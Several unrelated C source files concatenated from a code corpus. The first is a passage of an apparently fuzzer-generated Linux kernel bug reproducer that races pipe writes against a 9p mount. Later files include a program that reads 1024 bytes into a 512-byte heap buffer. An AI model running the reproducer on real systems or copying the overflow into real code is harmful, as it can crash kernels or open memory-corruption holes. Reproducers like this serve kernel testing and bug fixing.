if (tunfd == -1) { printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n"); printf("otherwise fuzzing or reproducing might not work as intended\n"); return; } const int kTunFd = 240; if (dup2(tunfd, kTunFd) < 0) exit(1); close(tunfd); tunfd = kTunFd; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ); ifr.ifr_flags = IFF_TAP | IFF_NO_PI | IFF_NAPI | IFF_NAPI_FRAGS; if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) { ifr.ifr_flags = IFF_TAP | IFF_NO_PI; if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) exit(1); } if (ioctl(tunfd, TUNGETIFF, (void*)&ifr) < 0) exit(1); tun_frags_enabled = (ifr.ifr_flags & IFF_NAPI_FRAGS) != 0; execute_command(0, "sysctl -w net.ipv6.conf.%s.accept_dad=0", TUN_IFACE); execute_command(0, "sysctl -w net.ipv6.conf.%s.router_solicitations=0", TUN_IFACE); execute_command(1, "ip link set dev %s address %s", TUN_IFACE, LOCAL_MAC); execute_command(1, "ip addr add %s/24 dev %s", LOCAL_IPV4, TUN_IFACE); execute_command(1, "ip neigh add %s lladdr %s dev %s nud permanent", REMOTE_IPV4, REMOTE_MAC, TUN_IFACE); execute_command(0, "ip -6 addr add %s/120 dev %s", LOCAL_IPV6, TUN_IFACE); execute_command(0, "ip -6 neigh add %s lladdr %s dev %s nud permanent", REMOTE_IPV6, REMOTE_MAC, TUN_IFACE); execute_command(1, "ip link set dev %s up", TUN_IFACE); } #define DEV_IPV4 "172.20.20.%d" #define DEV_IPV6 "fe80::%02hx" #define DEV_MAC "aa:aa:aa:aa:aa:%02hx" static void snprintf_check(char* str, size_t size, const char* format, ...) { va_list args; va_start(args, format); vsnprintf_check(str, size, format, args); va_end(args); } static void initialize_netdevices(void) { unsigned i; const char* devtypes[] = {"ip6gretap", "bridge", "vcan", "bond", "team"}; const char* devnames[] = {"lo", "sit0", "bridge0", "vcan0", "tunl0", "gre0", "gretap0", "ip_vti0", "ip6_vti0", "ip6tnl0", "ip6gre0", "ip6gretap0", "erspan0", "bond0", "veth0", "veth1", "team0", "veth0_to_bridge", "veth1_to_bridge", "veth0_to_bond", "veth1_to_bond", "veth0_to_team", "veth1_to_team"}; const char* devmasters[] = {"bridge", "bond", "team"}; for (i = 0; i < sizeof(devtypes) / (sizeof(devtypes[0])); i++) execute_command(0, "ip link add dev %s0 type %s", devtypes[i], devtypes[i]); execute_command(0, "ip link add type veth"); for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) { execute_command( 0, "ip link add name %s_slave_0 type veth peer name veth0_to_%s", devmasters[i], devmasters[i]); execute_command( 0, "ip link add name %s_slave_1 type veth peer name veth1_to_%s", devmasters[i], devmasters[i]); execute_command(0, "ip link set %s_slave_0 master %s0", devmasters[i], devmasters[i]); execute_command(0, "ip link set %s_slave_1 master %s0", devmasters[i], devmasters[i]); execute_command(0, "ip link set veth0_to_%s up", devmasters[i]); execute_command(0, "ip link set veth1_to_%s up", devmasters[i]); } execute_command(0, "ip link set bridge_slave_0 up"); execute_command(0, "ip link set bridge_slave_1 up"); for (i = 0; i < sizeof(devnames) / (sizeof(devnames[0])); i++) { char addr[32]; snprintf_check(addr, sizeof(addr), DEV_IPV4, i + 10); execute_command(0, "ip -4 addr add %s/24 dev %s", addr, devnames[i]); snprintf_check(addr, sizeof(addr), DEV_IPV6, i + 10); execute_command(0, "ip -6 addr add %s/120 dev %s", addr, devnames[i]); snprintf_check(addr, sizeof(addr), DEV_MAC, i + 10); execute_command(0, "ip link set dev %s address %s", devnames[i], addr); execute_command(0, "ip link set dev %s up", devnames[i]); } } static int read_tun(char* data, int size) { if (tunfd < 0) return -1; int rv = read(tunfd, data, size); if (rv < 0) { if (errno == EAGAIN) return -1; if (errno == EBADFD) return -1; exit(1); } return rv; } static void flush_tun() { char data[SYZ_TUN_MAX_PACKET_SIZE]; while (read_tun(&data[0], sizeof(data)) != -1) { } } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } #define XT_TABLE_SIZE 1536 #define XT_MAX_ENTRIES 10 struct xt_counters { uint64_t pcnt, bcnt; }; struct ipt_getinfo { char name[32]; unsigned int valid_hooks; unsigned int hook_entry[5]; unsigned int underflow[5]; unsigned int num_entries; unsigned int size; }; struct ipt_get_entries { char name[32]; unsigned int size; void* entrytable[XT_TABLE_SIZE / sizeof(void*)]; }; struct ipt_replace { char name[32]; unsigned int valid_hooks; unsigned int num_entries; unsigned int size; unsigned int hook_entry[5]; unsigned int underflow[5]; unsigned int num_counters; struct xt_counters* counters; char entrytable[XT_TABLE_SIZE]; }; struct ipt_table_desc { const char* name; struct ipt_getinfo info; struct ipt_replace replace; }; static struct ipt_table_desc ipv4_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "mangle"}, {.name = "raw"}, {.name = "security"}, }; static struct ipt_table_desc ipv6_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "mangle"}, {.name = "raw"}, {.name = "security"}, }; #define IPT_BASE_CTL 64 #define IPT_SO_SET_REPLACE (IPT_BASE_CTL) #define IPT_SO_GET_INFO (IPT_BASE_CTL) #define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1) struct arpt_getinfo { char name[32]; unsigned int valid_hooks; unsigned int hook_entry[3]; unsigned int underflow[3]; unsigned int num_entries; unsigned int size; }; struct arpt_get_entries { char name[32]; unsigned int size; void* entrytable[XT_TABLE_SIZE / sizeof(void*)]; }; struct arpt_replace { char name[32]; unsigned int valid_hooks; unsigned int num_entries; unsigned int size; unsigned int hook_entry[3]; unsigned int underflow[3]; unsigned int num_counters; struct xt_counters* counters; char entrytable[XT_TABLE_SIZE]; }; struct arpt_table_desc { const char* name; struct arpt_getinfo info; struct arpt_replace replace; }; static struct arpt_table_desc arpt_tables[] = { {.name = "filter"}, }; #define ARPT_BASE_CTL 96 #define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL) #define ARPT_SO_GET_INFO (ARPT_BASE_CTL) #define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1) static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables, int family, int level) { struct ipt_get_entries entries; socklen_t optlen; int fd, i; fd = socket(family, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (i = 0; i < num_tables; i++) { struct ipt_table_desc* table = &tables[i]; strcpy(table->info.name, table->name); strcpy(table->replace.name, table->name); optlen = sizeof(table->info); if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } exit(1); } if (table->info.size > sizeof(table->replace.entrytable)) exit(1); if (table->info.num_entries > XT_MAX_ENTRIES) exit(1); memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size; if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); table->replace.valid_hooks = table->info.valid_hooks; table->replace.num_entries = table->info.num_entries; table->replace.size = table->info.size; memcpy(table->replace.hook_entry, table->info.hook_entry, sizeof(table->replace.hook_entry)); memcpy(table->replace.underflow, table->info.underflow, sizeof(table->replace.underflow)); memcpy(table->replace.entrytable, entries.entrytable, table->info.size); } close(fd); } static void reset_iptables(struct ipt_table_desc* tables, int num_tables, int family, int level) { struct xt_counters counters[XT_MAX_ENTRIES]; struct ipt_get_entries entries; struct ipt_getinfo info; socklen_t optlen; int fd, i; fd = socket(family, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (i = 0; i < num_tables; i++) { struct ipt_table_desc* table = &tables[i]; if (table->info.valid_hooks == 0) continue; memset(&info, 0, sizeof(info)); strcpy(info.name, table->name); optlen = sizeof(info); if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen)) exit(1); if (memcmp(&table->info, &info, sizeof(table->info)) == 0) { memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size; if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); if (memcmp(table->replace.entrytable, entries.entrytable, table->info.size) == 0) continue; } table->replace.num_counters = info.num_entries; table->replace.counters = counters; optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) + table->replace.size; if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen)) exit(1); } close(fd); } static void checkpoint_arptables(void) { struct arpt_get_entries entries; socklen_t optlen; unsigned i; int fd; fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) { struct arpt_table_desc* table = &arpt_tables[i]; strcpy(table->info.name, table->name); strcpy(table->replace.name, table->name); optlen = sizeof(table->info); if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } exit(1); } if (table->info.size > sizeof(table->replace.entrytable)) exit(1); if (table->info.num_entries > XT_MAX_ENTRIES) exit(1); memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size; if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); table->replace.valid_hooks = table->info.valid_hooks; table->replace.num_entries = table->info.num_entries; table->replace.size = table->info.size; memcpy(table->replace.hook_entry, table->info.hook_entry, sizeof(table->replace.hook_entry)); memcpy(table->replace.underflow, table->info.underflow, sizeof(table->replace.underflow)); memcpy(table->replace.entrytable, entries.entrytable, table->info.size); } close(fd); } static void reset_arptables() { struct xt_counters counters[XT_MAX_ENTRIES]; struct arpt_get_entries entries; struct arpt_getinfo info; socklen_t optlen; unsigned i; int fd; fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) { struct arpt_table_desc* table = &arpt_tables[i]; if (table->info.valid_hooks == 0) continue; memset(&info, 0, sizeof(info)); strcpy(info.name, table->name); optlen = sizeof(info); if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen)) exit(1); if (memcmp(&table->info, &info, sizeof(table->info)) == 0) { memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size; if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); if (memcmp(table->replace.entrytable, entries.entrytable, table->info.size) == 0) continue; } table->replace.num_counters = info.num_entries; table->replace.counters = counters; optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) + table->replace.size; if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen)) exit(1); } close(fd); } struct ebt_table_desc { const char* name; struct ebt_replace replace; char entrytable[XT_TABLE_SIZE]; }; static struct ebt_table_desc ebt_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "broute"}, }; static void checkpoint_ebtables(void) { socklen_t optlen; unsigned i; int fd; fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) { struct ebt_table_desc* table = &ebt_tables[i]; strcpy(table->replace.name, table->name); optlen = sizeof(table->replace); if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } exit(1); } if (table->replace.entries_size > sizeof(table->entrytable)) exit(1); table->replace.num_counters = 0; table->replace.entries = table->entrytable; optlen = sizeof(table->replace) + table->replace.entries_size; if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace, &optlen)) exit(1); } close(fd); } static void reset_ebtables() { struct ebt_replace replace; char entrytable[XT_TABLE_SIZE]; socklen_t optlen; unsigned i, j, h; int fd; fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) { struct ebt_table_desc* table = &ebt_tables[i]; if (table->replace.valid_hooks == 0) continue; memset(&replace, 0, sizeof(replace)); strcpy(replace.name, table->name); optlen = sizeof(replace); if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen)) exit(1); replace.num_counters = 0; table->replace.entries = 0; for (h = 0; h < NF_BR_NUMHOOKS; h++) table->replace.hook_entry[h] = 0; if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) { memset(&entrytable, 0, sizeof(entrytable)); replace.entries = entrytable; optlen = sizeof(replace) + replace.entries_size; if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen)) exit(1); if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0) continue; } for (j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) { if (table->replace.valid_hooks & (1 << h)) { table->replace.hook_entry[h] = (struct ebt_entries*)table->entrytable + j; j++; } } table->replace.entries = table->entrytable; optlen = sizeof(table->replace) + table->replace.entries_size; if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen)) exit(1); } close(fd); } static void checkpoint_net_namespace(void) { checkpoint_ebtables(); checkpoint_arptables(); checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]), AF_INET, SOL_IP); checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]), AF_INET6, SOL_IPV6); } static void reset_net_namespace(void) { reset_ebtables(); reset_arptables(); reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]), AF_INET, SOL_IP); reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]), AF_INET6, SOL_IPV6); } static void setup_cgroups() { if (mkdir("/syzcgroup", 0777)) { } if (mkdir("/syzcgroup/unified", 0777)) { } if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) { } if (chmod("/syzcgroup/unified", 0777)) { } if (!write_file("/syzcgroup/unified/cgroup.subtree_control", "+cpu +memory +io +pids +rdma")) { } if (mkdir("/syzcgroup/cpu", 0777)) { } if (mount("none", "/syzcgroup/cpu", "cgroup", 0, "cpuset,cpuacct,perf_event,hugetlb")) { } if (!write_file("/syzcgroup/cpu/cgroup.clone_children", "1")) { } if (chmod("/syzcgroup/cpu", 0777)) { } if (mkdir("/syzcgroup/net", 0777)) { } if (mount("none", "/syzcgroup/net", "cgroup", 0, "net_cls,net_prio,devices,freezer")) { } if (chmod("/syzcgroup/net", 0777)) { } } static void setup_binfmt_misc() { if (!write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:syz0::./file0:")) { } if (!write_file("/proc/sys/fs/binfmt_misc/register", ":syz1:M:1:yz1::./file0:POC")) { } } static void setup_common() { setup_cgroups(); setup_binfmt_misc(); checkpoint_net_namespace(); } static void loop(); static void sandbox_common() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); setsid(); struct rlimit rlim; rlim.rlim_cur = rlim.rlim_max = 160 << 20; setrlimit(RLIMIT_AS, &rlim); rlim.rlim_cur = rlim.rlim_max = 8 << 20; setrlimit(RLIMIT_MEMLOCK, &rlim); rlim.rlim_cur = rlim.rlim_max = 136 << 20; setrlimit(RLIMIT_FSIZE, &rlim); rlim.rlim_cur = rlim.rlim_max = 1 << 20; setrlimit(RLIMIT_STACK, &rlim); rlim.rlim_cur = rlim.rlim_max = 0; setrlimit(RLIMIT_CORE, &rlim); rlim.rlim_cur = rlim.rlim_max = 256; setrlimit(RLIMIT_NOFILE, &rlim); if (unshare(CLONE_NEWNS)) { } if (unshare(CLONE_NEWIPC)) { } if (unshare(0x02000000)) { } if (unshare(CLONE_NEWUTS)) { } if (unshare(CLONE_SYSVSEM)) { } } int wait_for_loop(int pid) { if (pid < 0) exit(1); int status = 0; while (waitpid(-1, &status, __WALL) != pid) { } return WEXITSTATUS(status); } static int do_sandbox_none(void) { if (unshare(CLONE_NEWPID)) { } int pid = fork(); if (pid != 0) return wait_for_loop(pid); setup_common(); sandbox_common(); if (unshare(CLONE_NEWNET)) { } initialize_tun(); initialize_netdevices(); loop(); exit(1); } static void remove_dir(const char* dir) { DIR* dp; struct dirent* ep; int iter = 0; retry: while (umount2(dir, MNT_DETACH) == 0) { } dp = opendir(dir); if (dp == NULL) { if (errno == EMFILE) { exit(1); } exit(1); } while ((ep = readdir(dp))) { if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0) continue; char filename[FILENAME_MAX]; snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name); while (umount2(filename, MNT_DETACH) == 0) { } struct stat st; if (lstat(filename, &st)) exit(1); if (S_ISDIR(st.st_mode)) { remove_dir(filename); continue; } int i; for (i = 0;; i++) { if (unlink(filename) == 0) break; if (errno == EROFS) { break; } if (errno != EBUSY || i > 100) exit(1); if (umount2(filename, MNT_DETACH)) exit(1); } } closedir(dp); int i; for (i = 0;; i++) { if (rmdir(dir) == 0) break; if (i < 100) { if (errno == EROFS) { break; } if (errno == EBUSY) { if (umount2(dir, MNT_DETACH)) exit(1); continue; } if (errno == ENOTEMPTY) { if (iter < 100) { iter++; goto retry; } } } exit(1); } } #define SYZ_HAVE_SETUP_LOOP 1 static void setup_loop() { int pid = getpid(); char cgroupdir[64]; char procs_file[128]; snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(procs_file, sizeof(procs_file), "%s/cgroup.procs", cgroupdir); if (!write_file(procs_file, "%d", pid)) { } snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(procs_file, sizeof(procs_file), "%s/cgroup.procs", cgroupdir); if (!write_file(procs_file, "%d", pid)) { } snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(procs_file, sizeof(procs_file), "%s/cgroup.procs", cgroupdir); if (!write_file(procs_file, "%d", pid)) { } } #define SYZ_HAVE_RESET_LOOP 1 static void reset_loop() { reset_net_namespace(); } #define SYZ_HAVE_SETUP_TEST 1 static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); char cgroupdir[64]; snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid); if (symlink(cgroupdir, "./cgroup")) { } snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid); if (symlink(cgroupdir, "./cgroup.cpu")) { } snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid); if (symlink(cgroupdir, "./cgroup.net")) { } flush_tun(); } #define SYZ_HAVE_RESET_TEST 1 static void reset_test() { int fd; for (fd = 3; fd < 30; fd++) close(fd); } struct thread_t { int created, call; event_t ready, done; }; static struct thread_t threads[16]; static void execute_call(int call); static int running; static void* thr(void* arg) { struct thread_t* th = (struct thread_t*)arg; for (;;) { event_wait(&th->ready); event_reset(&th->ready); execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); event_set(&th->done); } return 0; } static void execute_one() { int call, thread; int collide = 0; again: for (call = 0; call < 5; call++) { for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) { struct thread_t* th = &threads[thread]; if (!th->created) { th->created = 1; event_init(&th->ready); event_init(&th->done); event_set(&th->done); thread_start(thr, th); } if (!event_isset(&th->done)) continue; event_reset(&th->done); th->call = call; __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); event_set(&th->ready); if (collide && (call % 2) == 0) break; event_timedwait(&th->done, 25); if (__atomic_load_n(&running, __ATOMIC_RELAXED)) sleep_ms((call == 5 - 1) ? 10 : 2); break; } } if (!collide) { collide = 1; goto again; } } static void execute_one(); #define WAIT_FLAGS __WALL static void loop() { setup_loop(); int iter; for (iter = 0;; iter++) { char cwdbuf[32]; sprintf(cwdbuf, "./%d", iter); if (mkdir(cwdbuf, 0777)) exit(1); reset_loop(); int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { setup_test(); if (chdir(cwdbuf)) exit(1); execute_one(); reset_test(); exit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid) break; sleep_ms(1); if (current_time_ms() - start < 5 * 1000) continue; kill(-pid, SIGKILL); kill(pid, SIGKILL); while (waitpid(-1, &status, WAIT_FLAGS) != pid) { } break; } remove_dir(cwdbuf); } } uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; void execute_call(int call) { long res; switch (call) { case 0: NONFAILING(memcpy((void*)0x20000000, "./file0", 8)); syscall(__NR_mkdir, 0x20000000, 0); break; case 1: res = syscall(__NR_pipe2, 0x20000100, 0); if (res != -1) { NONFAILING(r[0] = *(uint32_t*)0x20000100); NONFAILING(r[1] = *(uint32_t*)0x20000104); } break; case 2: NONFAILING(*(uint32_t*)0x20000040 = 0xffffffca); NONFAILING(*(uint8_t*)0x20000044 = 0x4d); NONFAILING(*(uint16_t*)0x20000045 = 0); syscall(__NR_write, r[1], 0x20000040, 7); break; case 3: NONFAILING(memcpy((void*)0x200000c0, "./file0", 8)); NONFAILING(memcpy((void*)0x20000340, "9p", 3)); NONFAILING(memcpy((void*)0x200001c0, "trans=fd,", 9)); NONFAILING(memcpy((void*)0x200001c9, "rfdno", 5)); NONFAILING(*(uint8_t*)0x200001ce = 0x3d); NONFAILING(sprintf((char*)0x200001cf, "0x%016llx", (long long)r[0])); NONFAILING(*(uint8_t*)0x200001e1 = 0x2c); NONFAILING(memcpy((void*)0x200001e2, "wfdno", 5)); NONFAILING(*(uint8_t*)0x200001e7 = 0x3d); NONFAILING(sprintf((char*)0x200001e8, "0x%016llx", (long long)r[1])); NONFAILING(*(uint8_t*)0x200001fa = 0x2c); NONFAILING(*(uint8_t*)0x200001fb = 0); syscall(__NR_mount, 0, 0x200000c0, 0x20000340, 0, 0x200001c0); break; case 4: syscall(__NR_write, r[1], 0x20000400, 0xffffffa2); break; } } int main() { syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); install_segv_handler(); use_temporary_dir(); do_sandbox_none(); return 0; }
the_stack_data/11074768.c
#include <stdio.h> #define DIVISOR 5 int main() { int max; scanf("%d", &max); max -= max % DIVISOR; for ( int i = 0; i < max; i += DIVISOR ) { printf("%d ", i); } printf("%d\n", max); return 0; }
the_stack_data/523136.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #include <pthread.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #define BUF_SIZE 1024 //receive messages, read and print to screen void * doRecieving(void * sockID){ int clientSocket = *((int *) sockID); while(1){ char buf[BUF_SIZE]; int read = recv(clientSocket,buf,BUF_SIZE,0); buf[read] = '\0'; printf("%s\n",buf); } } //main program int main(int argc, char ** argv){ //arguments check if (argc<2){ printf("please enter %s <port>\n",argv[0]); return EXIT_FAILURE;//-1 } //socket descriptor int port = atoi(argv[1]); int clientSocket = socket(PF_INET, SOCK_STREAM, 0); //server address struct sockaddr_in serverAddr; serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons(port); serverAddr.sin_addr.s_addr = htonl(INADDR_ANY); //error check for connect if(connect(clientSocket, (struct sockaddr*) &serverAddr, sizeof(serverAddr)) == -1) { printf("error connecting\n"); return EXIT_FAILURE;//-1 } //if connect has worked printf("Connection established\n"); //initialize thread that uses doReceiving pthread_t thread; pthread_create(&thread, NULL, doRecieving, (void *) &clientSocket ); //infinite loop while(1){ char buf[BUF_SIZE]; //read input from std input scanf("%s",buf); if(strcmp(buf,"LIST") == 0){ send(clientSocket,buf, BUF_SIZE,0); } //if client sends SEND, send message through socket if(strcmp(buf,"SEND") == 0){ send(clientSocket,buf,BUF_SIZE,0); scanf("%s",buf); send(clientSocket,buf,BUF_SIZE,0); scanf("%[^\n]s",buf); send(clientSocket,buf,BUF_SIZE,0); } //if the client sends !quitserver, break and exit loop if (strcmp(buf,"!quitserver")==0){ printf("server has quit\n"); break; } } return EXIT_SUCCESS;//0 }
the_stack_data/54429.c
#include <stdio.h> #include <string.h> #define MAXCHAR 16 #define MAX(X, Y) ((X >= Y) ? (X) : (Y)) #define MIN(X, Y) ((X < Y) ? (X) : (Y)) void output(char *a, char *b); int main(void) { char a[MAXCHAR], b[MAXCHAR]; scanf("%*d"); while (scanf("%s %s", a, b) == 2) { /* printf("%s %s\n", a, b); */ output(a, b); } return 0; } void output(char *a, char *b) { int len_a, len_b, max, min, space; int i; len_a = strlen(a); len_b = strlen(b); max = MAX(len_a, len_b); min = MIN(len_a, len_b); space = (max - min) / 2; if (len_a != max) for (i = 0; i < space; i++) putchar(' '); printf("%s\n", a); for (i = 0; i < max; i++) { putchar('-'); } putchar('\n'); if (len_b != max) for (i = 0; i < space; i++) putchar(' '); printf("%s\n\n", b); }
the_stack_data/12637091.c
#include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) { char *buf; buf = malloc(1<<9); fgets(buf, 1024, stdin); printf("%s\n", buf); return 1; }
the_stack_data/967677.c
a, b, c, e, f, g, h, j, k, l; *d; t() { int n, m[a], o, p, q, r, s, i; for (; i < a; i++) if (c) n = o++; for (; i; i++) e = m; for (; i < 6; i++) m[i] = n; for (; i <= f;) i = 0; p = s = q / 3; h = q - 3 * s; for (; i < b; i++) j = b; for (; i <= f; i++) p = 5; q = r = p / 5; g = p - 5 * r; for (; b;) { l = l / q; if (i < 4) k = l + b; if (i == 5) d[1] = k; } }
the_stack_data/135852.c
#include <stdio.h> int main() { int inicial = 6, final=0, i,k=5; for(i=inicial; i>final; i/=k) { printf("%d\n",i); } } /* Nota que Log2(final- inicial)/k + 1 es, aproximadamente, el numero de iteraciones. */
the_stack_data/156394423.c
#include <stdint.h> #include <limits.h> #ifdef _MSC_VER #include <intrin.h> /* _BitScanForward, _BitScanReverse */ #endif /* First define ctz and clz functions; these are compiler-dependent if * you want them to be fast. */ #if defined(__GNUC__) && !defined(TIMEOUT_DISABLE_GNUC_BITOPS) #ifndef LONG_BIT #define LONG_BIT (SIZEOF_LONG*CHAR_BIT) #endif /* On GCC and clang and some others, we can use __builtin functions. They * are not defined for n==0, but timeout.s never calls them with n==0. */ #define ctz64(n) __builtin_ctzll(n) #define clz64(n) __builtin_clzll(n) #if LONG_BIT == 32 #define ctz32(n) __builtin_ctzl(n) #define clz32(n) __builtin_clzl(n) #else #define ctz32(n) __builtin_ctz(n) #define clz32(n) __builtin_clz(n) #endif #elif defined(_MSC_VER) && !defined(TIMEOUT_DISABLE_MSVC_BITOPS) /* On MSVC, we have these handy functions. We can ignore their return * values, since we will never supply val == 0. */ static __inline int ctz32(unsigned long val) { DWORD zeros = 0; _BitScanForward(&zeros, val); return zeros; } static __inline int clz32(unsigned long val) { DWORD zeros = 0; _BitScanReverse(&zeros, val); return 31 - zeros; } #ifdef _WIN64 /* According to the documentation, these only exist on Win64. */ static __inline int ctz64(uint64_t val) { DWORD zeros = 0; _BitScanForward64(&zeros, val); return zeros; } static __inline int clz64(uint64_t val) { DWORD zeros = 0; _BitScanReverse64(&zeros, val); return 63 - zeros; } #else static __inline int ctz64(uint64_t val) { uint32_t lo = (uint32_t) val; uint32_t hi = (uint32_t) (val >> 32); return lo ? ctz32(lo) : 32 + ctz32(hi); } static __inline int clz64(uint64_t val) { uint32_t lo = (uint32_t) val; uint32_t hi = (uint32_t) (val >> 32); return hi ? clz32(hi) : 32 + clz32(lo); } #endif /* End of MSVC case. */ #else /* TODO: There are more clever ways to do this in the generic case. */ #define process_(one, cz_bits, bits) \ if (x < ( one << (cz_bits - bits))) { rv += bits; x <<= bits; } #define process64(bits) process_((UINT64_C(1)), 64, (bits)) static inline int clz64(uint64_t x) { int rv = 0; process64(32); process64(16); process64(8); process64(4); process64(2); process64(1); return rv; } #define process32(bits) process_((UINT32_C(1)), 32, (bits)) static inline int clz32(uint32_t x) { int rv = 0; process32(16); process32(8); process32(4); process32(2); process32(1); return rv; } #undef process_ #undef process32 #undef process64 #define process_(one, bits) \ if ((x & ((one << (bits))-1)) == 0) { rv += bits; x >>= bits; } #define process64(bits) process_((UINT64_C(1)), bits) static inline int ctz64(uint64_t x) { int rv = 0; process64(32); process64(16); process64(8); process64(4); process64(2); process64(1); return rv; } #define process32(bits) process_((UINT32_C(1)), bits) static inline int ctz32(uint32_t x) { int rv = 0; process32(16); 